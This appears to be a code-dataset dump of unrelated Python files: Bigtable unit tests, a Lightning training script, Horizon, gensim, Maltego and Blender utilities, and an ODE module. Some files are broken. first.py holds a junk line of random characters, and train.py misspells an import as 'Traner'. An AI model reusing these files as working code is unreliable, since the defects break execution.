+{"seq_id":"379283301","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n@author: CareyWYR\n\"\"\"\n\nimport pandas as pd\n\ndata_file = '../source/ml-100k/u.data'\nuser_file = '../source/ml-100k/u.user'\n\ndef get_data():\n data_set = pd.read_table(data_file,header=None,sep='\t',names=['user_id','item_id','rating','timestamp'])\n data_user = pd.read_table(user_file,header=None,sep='|',names=['user_id','age','gender','occupation','zip_code'])\n data_detail = pd.merge(data_set,data_user)\n grouped_rating = data_detail['rating'].groupby([data_detail['gender'],data_detail['user_id']])\n series = grouped_rating.mean()\n print('M',series['M'].std()) \n print('F',series['F'].std())\n","sub_path":"sex_influence_film/answer_of_homework.py","file_name":"answer_of_homework.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"151874437","text":"# Copyright 2016 Google Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport unittest2\n\n\nclass TestCell(unittest2.TestCase):\n\n def _getTargetClass(self):\n from gcloud.bigtable.row_data import Cell\n return Cell\n\n def _makeOne(self, *args, **kwargs):\n return self._getTargetClass()(*args, **kwargs)\n\n def _from_pb_test_helper(self, labels=None):\n import datetime\n from gcloud._helpers import _EPOCH\n from gcloud.bigtable._generated import bigtable_data_pb2 as data_pb2\n\n timestamp_micros = 18738724000 # Make sure millis granularity\n timestamp = _EPOCH + datetime.timedelta(microseconds=timestamp_micros)\n value = b'value-bytes'\n\n if labels is None:\n cell_pb = data_pb2.Cell(value=value,\n timestamp_micros=timestamp_micros)\n cell_expected = self._makeOne(value, timestamp)\n else:\n cell_pb = data_pb2.Cell(value=value,\n timestamp_micros=timestamp_micros,\n labels=labels)\n cell_expected = self._makeOne(value, timestamp, labels=labels)\n\n klass = self._getTargetClass()\n result = klass.from_pb(cell_pb)\n self.assertEqual(result, cell_expected)\n\n def test_from_pb(self):\n self._from_pb_test_helper()\n\n def test_from_pb_with_labels(self):\n labels = [u'label1', u'label2']\n self._from_pb_test_helper(labels)\n\n def test_constructor(self):\n value = object()\n timestamp = object()\n cell = self._makeOne(value, timestamp)\n self.assertEqual(cell.value, value)\n self.assertEqual(cell.timestamp, timestamp)\n\n def test___eq__(self):\n value = object()\n timestamp = object()\n cell1 = self._makeOne(value, timestamp)\n cell2 = self._makeOne(value, timestamp)\n self.assertEqual(cell1, cell2)\n\n def test___eq__type_differ(self):\n cell1 = self._makeOne(None, None)\n cell2 = object()\n self.assertNotEqual(cell1, cell2)\n\n def test___ne__same_value(self):\n value = object()\n timestamp = object()\n cell1 = self._makeOne(value, timestamp)\n cell2 = self._makeOne(value, timestamp)\n comparison_val = (cell1 != cell2)\n self.assertFalse(comparison_val)\n\n def test___ne__(self):\n value1 = 'value1'\n value2 = 'value2'\n timestamp = object()\n cell1 = self._makeOne(value1, timestamp)\n cell2 = self._makeOne(value2, timestamp)\n self.assertNotEqual(cell1, cell2)\n\n\nclass TestPartialRowData(unittest2.TestCase):\n\n def _getTargetClass(self):\n from gcloud.bigtable.row_data import PartialRowData\n return PartialRowData\n\n def _makeOne(self, *args, **kwargs):\n return self._getTargetClass()(*args, **kwargs)\n\n def test_constructor(self):\n row_key = object()\n partial_row_data = self._makeOne(row_key)\n self.assertTrue(partial_row_data._row_key is row_key)\n self.assertEqual(partial_row_data._cells, {})\n self.assertFalse(partial_row_data._committed)\n self.assertFalse(partial_row_data._chunks_encountered)\n\n def test___eq__(self):\n row_key = object()\n partial_row_data1 = self._makeOne(row_key)\n partial_row_data2 = self._makeOne(row_key)\n self.assertEqual(partial_row_data1, partial_row_data2)\n\n def test___eq__type_differ(self):\n partial_row_data1 = self._makeOne(None)\n partial_row_data2 = object()\n self.assertNotEqual(partial_row_data1, partial_row_data2)\n\n def test___ne__same_value(self):\n row_key = object()\n partial_row_data1 = self._makeOne(row_key)\n partial_row_data2 = self._makeOne(row_key)\n comparison_val = (partial_row_data1 != partial_row_data2)\n self.assertFalse(comparison_val)\n\n def test___ne__(self):\n row_key1 = object()\n partial_row_data1 = self._makeOne(row_key1)\n row_key2 = object()\n partial_row_data2 = self._makeOne(row_key2)\n self.assertNotEqual(partial_row_data1, partial_row_data2)\n\n def test___ne__committed(self):\n row_key = object()\n partial_row_data1 = self._makeOne(row_key)\n partial_row_data1._committed = object()\n partial_row_data2 = self._makeOne(row_key)\n self.assertNotEqual(partial_row_data1, partial_row_data2)\n\n def test___ne__cells(self):\n row_key = object()\n partial_row_data1 = self._makeOne(row_key)\n partial_row_data1._cells = object()\n partial_row_data2 = self._makeOne(row_key)\n self.assertNotEqual(partial_row_data1, partial_row_data2)\n\n def test_to_dict(self):\n cell1 = object()\n cell2 = object()\n cell3 = object()\n\n family_name1 = u'name1'\n family_name2 = u'name2'\n qual1 = b'col1'\n qual2 = b'col2'\n qual3 = b'col3'\n\n partial_row_data = self._makeOne(None)\n partial_row_data._cells = {\n family_name1: {\n qual1: cell1,\n qual2: cell2,\n },\n family_name2: {\n qual3: cell3,\n },\n }\n\n result = partial_row_data.to_dict()\n expected_result = {\n b'name1:col1': cell1,\n b'name1:col2': cell2,\n b'name2:col3': cell3,\n }\n self.assertEqual(result, expected_result)\n\n def test_cells_property(self):\n partial_row_data = self._makeOne(None)\n cells = {1: 2}\n partial_row_data._cells = cells\n # Make sure we get a copy, not the original.\n self.assertFalse(partial_row_data.cells is cells)\n self.assertEqual(partial_row_data.cells, cells)\n\n def test_row_key_getter(self):\n row_key = object()\n partial_row_data = self._makeOne(row_key)\n self.assertTrue(partial_row_data.row_key is row_key)\n\n def test_committed_getter(self):\n partial_row_data = self._makeOne(None)\n partial_row_data._committed = value = object()\n self.assertTrue(partial_row_data.committed is value)\n\n def test_clear(self):\n partial_row_data = self._makeOne(None)\n cells = {1: 2}\n partial_row_data._cells = cells\n self.assertEqual(partial_row_data.cells, cells)\n partial_row_data._committed = True\n partial_row_data._chunks_encountered = True\n partial_row_data.clear()\n self.assertFalse(partial_row_data.committed)\n self.assertFalse(partial_row_data._chunks_encountered)\n self.assertEqual(partial_row_data.cells, {})\n\n def test__handle_commit_row(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(commit_row=True)\n\n index = last_chunk_index = 1\n self.assertFalse(partial_row_data.committed)\n partial_row_data._handle_commit_row(chunk, index, last_chunk_index)\n self.assertTrue(partial_row_data.committed)\n\n def test__handle_commit_row_false(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(commit_row=False)\n\n with self.assertRaises(ValueError):\n partial_row_data._handle_commit_row(chunk, None, None)\n\n def test__handle_commit_row_not_last_chunk(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(commit_row=True)\n\n with self.assertRaises(ValueError):\n index = 0\n last_chunk_index = 1\n self.assertNotEqual(index, last_chunk_index)\n partial_row_data._handle_commit_row(chunk, index, last_chunk_index)\n\n def test__handle_reset_row(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(reset_row=True)\n\n # Modify the PartialRowData object so we can check it's been cleared.\n partial_row_data._cells = {1: 2}\n partial_row_data._committed = True\n partial_row_data._handle_reset_row(chunk)\n self.assertEqual(partial_row_data.cells, {})\n self.assertFalse(partial_row_data.committed)\n\n def test__handle_reset_row_failure(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(reset_row=False)\n\n with self.assertRaises(ValueError):\n partial_row_data._handle_reset_row(chunk)\n\n def test__handle_row_contents(self):\n from gcloud.bigtable._generated import bigtable_data_pb2 as data_pb2\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n from gcloud.bigtable.row_data import Cell\n\n partial_row_data = self._makeOne(None)\n cell1_pb = data_pb2.Cell(timestamp_micros=1, value=b'val1')\n cell2_pb = data_pb2.Cell(timestamp_micros=200, value=b'val2')\n cell3_pb = data_pb2.Cell(timestamp_micros=300000, value=b'val3')\n col1 = b'col1'\n col2 = b'col2'\n columns = [\n data_pb2.Column(qualifier=col1, cells=[cell1_pb, cell2_pb]),\n data_pb2.Column(qualifier=col2, cells=[cell3_pb]),\n ]\n family_name = u'name'\n row_contents = data_pb2.Family(name=family_name, columns=columns)\n chunk = messages_pb2.ReadRowsResponse.Chunk(row_contents=row_contents)\n\n self.assertEqual(partial_row_data.cells, {})\n partial_row_data._handle_row_contents(chunk)\n expected_cells = {\n family_name: {\n col1: [Cell.from_pb(cell1_pb), Cell.from_pb(cell2_pb)],\n col2: [Cell.from_pb(cell3_pb)],\n }\n }\n self.assertEqual(partial_row_data.cells, expected_cells)\n\n def test_update_from_read_rows(self):\n from gcloud.bigtable._generated import bigtable_data_pb2 as data_pb2\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n row_key = b'row-key'\n partial_row_data = self._makeOne(row_key)\n\n # Set-up chunk1, some data that will be reset by chunk2.\n ignored_family_name = u'ignore-name'\n row_contents = data_pb2.Family(name=ignored_family_name)\n chunk1 = messages_pb2.ReadRowsResponse.Chunk(row_contents=row_contents)\n\n # Set-up chunk2, a reset row.\n chunk2 = messages_pb2.ReadRowsResponse.Chunk(reset_row=True)\n\n # Set-up chunk3, a column family with no columns.\n family_name = u'name'\n row_contents = data_pb2.Family(name=family_name)\n chunk3 = messages_pb2.ReadRowsResponse.Chunk(row_contents=row_contents)\n\n # Set-up chunk4, a commit row.\n chunk4 = messages_pb2.ReadRowsResponse.Chunk(commit_row=True)\n\n # Prepare request and make sure PartialRowData is empty before.\n read_rows_response_pb = messages_pb2.ReadRowsResponse(\n row_key=row_key, chunks=[chunk1, chunk2, chunk3, chunk4])\n self.assertEqual(partial_row_data.cells, {})\n self.assertFalse(partial_row_data.committed)\n self.assertFalse(partial_row_data._chunks_encountered)\n\n # Parse the response and make sure the cells took place.\n partial_row_data.update_from_read_rows(read_rows_response_pb)\n self.assertEqual(partial_row_data.cells, {family_name: {}})\n self.assertFalse(ignored_family_name in partial_row_data.cells)\n self.assertTrue(partial_row_data.committed)\n self.assertTrue(partial_row_data._chunks_encountered)\n\n def test_update_from_read_rows_while_committed(self):\n partial_row_data = self._makeOne(None)\n partial_row_data._committed = True\n self.assertFalse(partial_row_data._chunks_encountered)\n\n with self.assertRaises(ValueError):\n partial_row_data.update_from_read_rows(None)\n\n self.assertFalse(partial_row_data._chunks_encountered)\n\n def test_update_from_read_rows_row_key_disagree(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n row_key1 = b'row-key1'\n row_key2 = b'row-key2'\n partial_row_data = self._makeOne(row_key1)\n self.assertFalse(partial_row_data._chunks_encountered)\n\n self.assertNotEqual(row_key1, row_key2)\n read_rows_response_pb = messages_pb2.ReadRowsResponse(row_key=row_key2)\n with self.assertRaises(ValueError):\n partial_row_data.update_from_read_rows(read_rows_response_pb)\n\n self.assertFalse(partial_row_data._chunks_encountered)\n\n def test_update_from_read_rows_empty_chunk(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n row_key = b'row-key'\n partial_row_data = self._makeOne(row_key)\n self.assertFalse(partial_row_data._chunks_encountered)\n\n chunk = messages_pb2.ReadRowsResponse.Chunk()\n read_rows_response_pb = messages_pb2.ReadRowsResponse(\n row_key=row_key, chunks=[chunk])\n\n # This makes it an \"empty\" chunk.\n self.assertEqual(chunk.WhichOneof('chunk'), None)\n with self.assertRaises(ValueError):\n partial_row_data.update_from_read_rows(read_rows_response_pb)\n\n self.assertFalse(partial_row_data._chunks_encountered)\n\n\nclass TestPartialRowsData(unittest2.TestCase):\n\n def _getTargetClass(self):\n from gcloud.bigtable.row_data import PartialRowsData\n return PartialRowsData\n\n def _getDoNothingClass(self):\n klass = self._getTargetClass()\n\n class FakePartialRowsData(klass):\n\n def __init__(self, *args, **kwargs):\n super(FakePartialRowsData, self).__init__(*args, **kwargs)\n self._consumed = []\n\n def consume_next(self):\n value = self._response_iterator.next()\n self._consumed.append(value)\n return value\n\n return FakePartialRowsData\n\n def _makeOne(self, *args, **kwargs):\n return self._getTargetClass()(*args, **kwargs)\n\n def test_constructor(self):\n response_iterator = object()\n partial_rows_data = self._makeOne(response_iterator)\n self.assertTrue(partial_rows_data._response_iterator\n is response_iterator)\n self.assertEqual(partial_rows_data._rows, {})\n\n def test___eq__(self):\n response_iterator = object()\n partial_rows_data1 = self._makeOne(response_iterator)\n partial_rows_data2 = self._makeOne(response_iterator)\n self.assertEqual(partial_rows_data1, partial_rows_data2)\n\n def test___eq__type_differ(self):\n partial_rows_data1 = self._makeOne(None)\n partial_rows_data2 = object()\n self.assertNotEqual(partial_rows_data1, partial_rows_data2)\n\n def test___ne__same_value(self):\n response_iterator = object()\n partial_rows_data1 = self._makeOne(response_iterator)\n partial_rows_data2 = self._makeOne(response_iterator)\n comparison_val = (partial_rows_data1 != partial_rows_data2)\n self.assertFalse(comparison_val)\n\n def test___ne__(self):\n response_iterator1 = object()\n partial_rows_data1 = self._makeOne(response_iterator1)\n response_iterator2 = object()\n partial_rows_data2 = self._makeOne(response_iterator2)\n self.assertNotEqual(partial_rows_data1, partial_rows_data2)\n\n def test_rows_getter(self):\n partial_rows_data = self._makeOne(None)\n partial_rows_data._rows = value = object()\n self.assertTrue(partial_rows_data.rows is value)\n\n def test_cancel(self):\n response_iterator = _MockCancellableIterator()\n partial_rows_data = self._makeOne(response_iterator)\n self.assertEqual(response_iterator.cancel_calls, 0)\n partial_rows_data.cancel()\n self.assertEqual(response_iterator.cancel_calls, 1)\n\n def test_consume_next(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n from gcloud.bigtable.row_data import PartialRowData\n\n row_key = b'row-key'\n value_pb = messages_pb2.ReadRowsResponse(row_key=row_key)\n response_iterator = _MockCancellableIterator(value_pb)\n partial_rows_data = self._makeOne(response_iterator)\n self.assertEqual(partial_rows_data.rows, {})\n partial_rows_data.consume_next()\n expected_rows = {row_key: PartialRowData(row_key)}\n self.assertEqual(partial_rows_data.rows, expected_rows)\n\n def test_consume_next_row_exists(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n from gcloud.bigtable.row_data import PartialRowData\n\n row_key = b'row-key'\n chunk = messages_pb2.ReadRowsResponse.Chunk(commit_row=True)\n value_pb = messages_pb2.ReadRowsResponse(row_key=row_key,\n chunks=[chunk])\n response_iterator = _MockCancellableIterator(value_pb)\n partial_rows_data = self._makeOne(response_iterator)\n existing_values = PartialRowData(row_key)\n partial_rows_data._rows[row_key] = existing_values\n self.assertFalse(existing_values.committed)\n partial_rows_data.consume_next()\n self.assertTrue(existing_values.committed)\n self.assertEqual(existing_values.cells, {})\n\n def test_consume_next_empty_iter(self):\n response_iterator = _MockCancellableIterator()\n partial_rows_data = self._makeOne(response_iterator)\n with self.assertRaises(StopIteration):\n partial_rows_data.consume_next()\n\n def test_consume_all(self):\n klass = self._getDoNothingClass()\n\n value1, value2, value3 = object(), object(), object()\n response_iterator = _MockCancellableIterator(value1, value2, value3)\n partial_rows_data = klass(response_iterator)\n self.assertEqual(partial_rows_data._consumed, [])\n partial_rows_data.consume_all()\n self.assertEqual(partial_rows_data._consumed, [value1, value2, value3])\n\n def test_consume_all_with_max_loops(self):\n klass = self._getDoNothingClass()\n\n value1, value2, value3 = object(), object(), object()\n response_iterator = _MockCancellableIterator(value1, value2, value3)\n partial_rows_data = klass(response_iterator)\n self.assertEqual(partial_rows_data._consumed, [])\n partial_rows_data.consume_all(max_loops=1)\n self.assertEqual(partial_rows_data._consumed, [value1])\n # Make sure the iterator still has the remaining values.\n self.assertEqual(list(response_iterator.iter_values), [value2, value3])\n\n\nclass _MockCancellableIterator(object):\n\n cancel_calls = 0\n\n def __init__(self, *values):\n self.iter_values = iter(values)\n\n def cancel(self):\n self.cancel_calls += 1\n\n def next(self):\n return next(self.iter_values)\n","sub_path":"lib/gcloud/bigtable/test_row_data.py","file_name":"test_row_data.py","file_ext":"py","file_size_in_byte":19995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"121846339","text":"import hydra\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom model.lightning import LightningModel\nfrom pytorch_lightning import Traner, seed_everything\nfrom pytorch_lightning.loggers import WandbLogger\n\n\n@hydra.main(config_path=\"config.yaml\")\ndef train(cfg):\n\n logger = WandbLogger(project=cfg.project_name, config=cfg) if cfg.training.log else None\n\n model = LightningModel(cfg)\n \n trainer = Trainer(\n logger=logger,\n gpus=cfg.training.gpus,\n precision=cfg.training.precision,\n auto_scale_batch_size=cfg.training.hparams.auto_scale_batch_size,\n deterministic=cfg.training.reproducability\n )\n\n if cfg.training.reproducability > 0:\n seed_everything(1000) \n\n trainer.fit(model)\n \n\nif __name__ == \"__main__\":\n train()","sub_path":"src/run/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"83375993","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2012 Nebula, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport logging\nfrom horizon import exceptions\nfrom horizon import messages\nfrom horizon.utils import functions\nfrom django.utils.translation import ugettext_lazy as _\nfrom django import shortcuts\nLOG = logging.getLogger(__name__)\n\nclass BatchActionMixin(object):\n def handle(self, table, request, obj_ids):\n action_success = []\n action_failure = []\n action_not_allowed = []\n for datum_id in obj_ids:\n datum = table.get_object_by_id(datum_id)\n datum_display = table.get_object_display(datum) or _(\"N/A\")\n if not table._filter_action(self, request, datum):\n action_not_allowed.append(datum_display)\n LOG.info('Permission denied to %s: \"%s\"' %\n (self._get_action_name(past=True).lower(),\n datum_display))\n continue\n try:\n self.action(request, datum_id)\n #Call update to invoke changes if needed\n self.update(request, datum)\n action_success.append(datum_display)\n self.success_ids.append(datum_id)\n LOG.info('%s: \"%s\"' %\n (self._get_action_name(past=True), datum_display))\n except Exception as ex:\n # Handle the exception but silence it since we'll display\n # an aggregate error message later. Otherwise we'd get\n # multiple error messages displayed to the user.\n if getattr(ex, \"_safe_message\", None):\n ignore = False\n else:\n ignore = True\n action_failure.append(datum_display)\n exceptions.handle(request, ignore=ignore)\n\n # Begin with success message class, downgrade to info if problems.\n success_message_level = messages.success\n if action_not_allowed:\n msg = 'You are not allowed to %(action)s: %(objs)s'\n params = {\"action\":\n self._get_action_name(action_not_allowed).lower(),\n \"objs\": functions.lazy_join(\", \", action_not_allowed)}\n messages.error(request, msg % params)\n success_message_level = messages.info\n if action_failure:\n msg = _('Unable to %(action)s: %(objs)s')\n params = {\"action\": self._get_action_name(action_failure).lower(),\n \"objs\": functions.lazy_join(\", \", action_failure)}\n messages.error(request, msg % params)\n success_message_level = messages.info\n if action_success:\n msg = _('%(action)s: %(objs)s')\n params = {\"action\":\n self._get_action_name(action_success, past=True),\n \"objs\": functions.lazy_join(\", \", action_success)}\n success_message_level(request, msg % params)\n\n return shortcuts.redirect(self.get_success_url(request))\n \n","sub_path":"source/vsm-dashboard/vsm_dashboard/common/horizon/tables/mixin.py","file_name":"mixin.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"163522129","text":"\"\"\"\nThis module provides some helper functions\\\nto fetch data from an dsebaseapp instance to create word embeddings\nrun something like:\nfrom enrich.spacy_utils.vecs import stream_docs_to_file, create_word_vecs\ndomain = \"http://127.0.0.1:8080\"\napp_name = \"akademie\"\nfilename = stream_docs_to_file(domain, app_name, verbose=False)\ncreate_word_vecs(filename)\n\"\"\"\n\nfrom gensim.models import Word2Vec\nfrom gensim.utils import simple_preprocess\n\n\ndef read_input(input_file):\n \"\"\" yields preprocessed lines read from a file (document per line)\n :input_file: Name of the file to process\n :return: yields processed lines of file\n \"\"\"\n\n with open(input_file, encoding=\"utf-8\") as f:\n for line in f:\n yield simple_preprocess(line)\n\n\ndef create_word_vecs(input_file, size=300, window=5, min_count=2, workers=4):\n \"\"\" creates word embeddings\n :input_file: Name of the file to process\n :size: The number of dimensions of the embedding\n :window: The maximum distance between a target word and words around the target word.\n :min_count: The minimum count of words to consider when training the models\n :workers: The number of threads to use while training.\n \"\"\"\n documents = read_input(input_file)\n model = Word2Vec(\n [x for x in documents],\n size=size, window=window, min_count=min_count, workers=workers\n )\n model_file_name = \"{}.word2vec.model\".format(input_file)\n model.wv.save_word2vec_format(model_file_name)\n return model_file_name\n","sub_path":"spacytei/vecs.py","file_name":"vecs.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"416903795","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport argparse\nfrom maltego_trx.maltego import *\nfrom maltego_trx.entities import *\nfrom entities import *\nfrom config import local_execution_path, python_path\nfrom utils import sanitize\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Run Maltego-STIX2 transforms\")\n parser.add_argument(\n \"--transform\", dest=\"transformName\", type=str, help=\"The transform to run\"\n )\n\n args, unknown = parser.parse_known_args()\n\n # print(unknown)\n\n if len(unknown) > 0:\n # Create Maltego transgorm object\n transform = MaltegoTransform()\n\n # Parse Maltego input parameters\n client_msg = MaltegoMsg(LocalArgs=unknown)\n\n # Extract input entity parameters\n input_value = client_msg.Value\n input_id = (\n client_msg.getProperty(\"id\") if client_msg.getProperty(\"id\") else None\n )\n input_type = (\n client_msg.getProperty(\"type\") if client_msg.getProperty(\"type\") else None\n )\n input_name = (\n client_msg.getProperty(\"name\") if client_msg.getProperty(\"name\") else None\n )\n\n if \"convert\" in args.transformName:\n property_name = args.transformName.split(\"-\")[1]\n if property_name == \"hash\":\n entity = transform.addEntity(File, sanitize(input_value, True))\n entity.addProperty(\n fieldName=\"hashes\", value=[sanitize(input_value, True)]\n )\n elif \"explode\" in args.transformName:\n property_name = args.transformName.split(\"-\")[1]\n entity_type = Phrase\n maltego_property = None\n if property_name == \"aliases\":\n entity_type = Alias\n if property_name == \"created_by_ref\":\n entity_type = Identity\n maltego_property = \"id\"\n if property_name == \"hashes\":\n entity_type = \"maltego.Hash\"\n property_str = (\n client_msg.getProperty(property_name)\n if client_msg.getProperty(property_name)\n else None\n )\n if property_str and len(property_str) > 0:\n # STR to LST allowing several formats\n property_str = property_str.replace(\n '\", \"', \"','\"\n ) # quote {\"} separator {, }\n property_str = property_str.replace(\n '\",\"', \"','\"\n ) # quote {\"} separator {,}\n property_str = property_str.replace(\n \"', '\", \"','\"\n ) # quote {'} separator {, }\n # Clean begining of the list\n if property_str.startswith(\"[\"):\n property_str = property_str[1:]\n if property_str.startswith(\"'\"):\n property_str = property_str[1:]\n if property_str.startswith('\"'):\n property_str = property_str[1:]\n # Clean end of the list\n if property_str.endswith(\"]\"):\n property_str = property_str[:-1]\n if property_str.endswith(\"'\"):\n property_str = property_str[:-1]\n if property_str.endswith('\"'):\n property_str = property_str[:-1]\n property_lst = property_str.split(\"','\")\n\n for value in property_lst:\n if len(value) > 0:\n entity = transform.addEntity(entity_type, sanitize(value, True))\n if maltego_property:\n entity.addProperty(\n fieldName=maltego_property, value=sanitize(value, True)\n )\n\n # Output Maltego XML result\n print(transform.returnOutput())\n","sub_path":"src/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":3883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"422349976","text":"# first.py\n# first-order linear ODE\n# Dec. 2017 by Kenji Doya\n\nimport numpy as np\n\n# Right-hand-side function of the ODE\ndef dynamics(y, t, a, b):\n \"\"\"first-order linear ODE: dy/dt = a*y + b\"\"\"\n return(a*y + b)\nl;qiwjr;lqiw3jq;li3j\n# Name of the system\nname = 'first'\n\n# A standard initial state\ninitial_state = 1\n\n# Default parameters\nparameters = (-0.1, 0)\n\n# For adding to the system list\nname_state_parameters = [name, initial_state, parameters]\n","sub_path":"first.py","file_name":"first.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"354431823","text":"from src.model.pandas_df import PandasDF\nfrom src.model.classifier import Classifier\nfrom common_config import EXTRACCION_IT\nfrom src.helper.general_helper import get_logger\nimport pandas as pd\n\n\nclass Orquestador(object):\n _pandas_df = None\n _classifier = None\n _logger = None\n\n def __init__(self, **kw):\n self._logger = get_logger() if not kw.get('logger') else kw.get('logger')\n self._logger.info(\"Inicializado {}\".format(__class__.__name__))\n if isinstance(kw.get('pandas_instance'), PandasDF) and isinstance(kw.get('classifier_instance'), Classifier):\n self._pandas_df = kw.get('pandas_instance')\n self._classifier = kw.get('classifier_instance')\n self.panda_ds.src = EXTRACCION_IT if not kw.get('src', None) else kw.get('src')\n self.do_pandas_job()\n self.do_classifier_job()\n\n def do_pandas_job(self):\n try:\n self.panda_ds.load_data(describ_columns=True)\n self.panda_ds.prepare_label_data()\n except Exception as e:\n self._logger.error(\"Exception at do_pandas_job-> {} -> {}\".format(__class__.__name__, e))\n\n def do_classifier_job(self):\n\n try:\n if isinstance(self.panda_ds.df, pd.DataFrame):\n self._logger.info(\"{} -> do_classifier_job\".format(__class__.__name__))\n self.classifier.df = self.panda_ds.df\n self.classifier.show_graph_it_distribution()\n self.classifier.get_features_and_labels()\n self.classifier.train_test_split()\n self.classifier.show_linear_svc(self.panda_ds.category_id_df)\n\n except Exception as e:\n self._logger.error(\" Excecption -> {} {}\".format(__class__.__name__, e))\n\n @property\n def panda_ds(self):\n return self._pandas_df\n\n @panda_ds.setter\n def panda_ds(self, value):\n if value and isinstance(value, PandasDF):\n self._panda_ds = value\n\n @property\n def classifier(self):\n return self._classifier\n\n @classifier.setter\n def classifier(self, value):\n if value and isinstance(value, Classifier):\n self._classifier = value\n","sub_path":"src/controller/orquestador.py","file_name":"orquestador.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"86504452","text":"import os\nimport zlib\nimport math\nimport json\nfrom typing import Tuple, List, Dict\n\nimport bpy\nimport bpy.types\nfrom bpy_extras.io_utils import ExportHelper\nfrom bpy.props import StringProperty, BoolProperty, EnumProperty\nfrom bpy.types import Operator\n\n\nfrom . import datastruct as dat\nfrom . import byteutils as byt\n\n\nbl_info = {\n \"name\" : \"Dalbaragi Model Exporter\",\n \"author\" : \"Sungmin Woo\",\n \"version\" : (1, 0, 0),\n \"blender\" : (2, 80, 0),\n \"location\" : \"File > Export > Dalbaragi Model (.dmd)\",\n \"description\": \"Export a model file for Dalbargi engine.\",\n \"warning\" : \"Under development.\",\n \"wiki_url\" : \"\",\n \"category\" : \"Import-Export\",\n \"tracker_url\": \"\"\n}\n\n\ndef _fixVecRotations(x: float, y: float, z: float) -> Tuple[float, float, float]:\n return float(x), float(z), -float(y)\n\ndef _normalizeVec3(x: float, y: float, z: float):\n length = math.sqrt( x*x + y*y + z*z )\n return x/length, y/length, z/length\n\n\nclass AnimationParser:\n @classmethod\n def parseSkeleton(cls):\n numArma = len(bpy.data.armatures)\n if 0 == numArma:\n return dat.SkeletonInterface()\n elif numArma > 1:\n raise RuntimeError(\"Multiple armatures.\")\n\n skeleton = dat.SkeletonInterface()\n\n armature: bpy.types.Armature = bpy.data.armatures[0]\n rootBone = cls.__findRootBone(armature.bones)\n\n index = skeleton.makeIndexOf(rootBone.name)\n boneInfo = skeleton[index]\n boneInfo.m_parentName = \"\"\n\n boneInfo.m_offsetMat.set(rootBone.matrix_local)\n\n cls.__parseSkelRecur(rootBone, skeleton)\n return skeleton\n\n @classmethod\n def __parseSkelRecur(cls, bone: bpy.types.Bone, skeleton: dat.SkeletonInterface) -> None:\n for child in bone.children:\n index = skeleton.makeIndexOf(child.name)\n boneInfo = skeleton[index]\n boneInfo.m_parentName = bone.name\n\n #rot = mathutils.Matrix.Rotation(math.radians(-90.0), 4, 'X')\n boneInfo.m_offsetMat.set(child.matrix_local)\n\n cls.__parseSkelRecur(child, skeleton)\n\n @classmethod\n def __findRootBone(cls, bones):\n root = None\n\n for bone in bones:\n if bone.parent is None:\n if root is None:\n root = bone\n else:\n raise ValueError(\"There are two root bone: {}, {}\".format(root.name, bone.name))\n\n if root 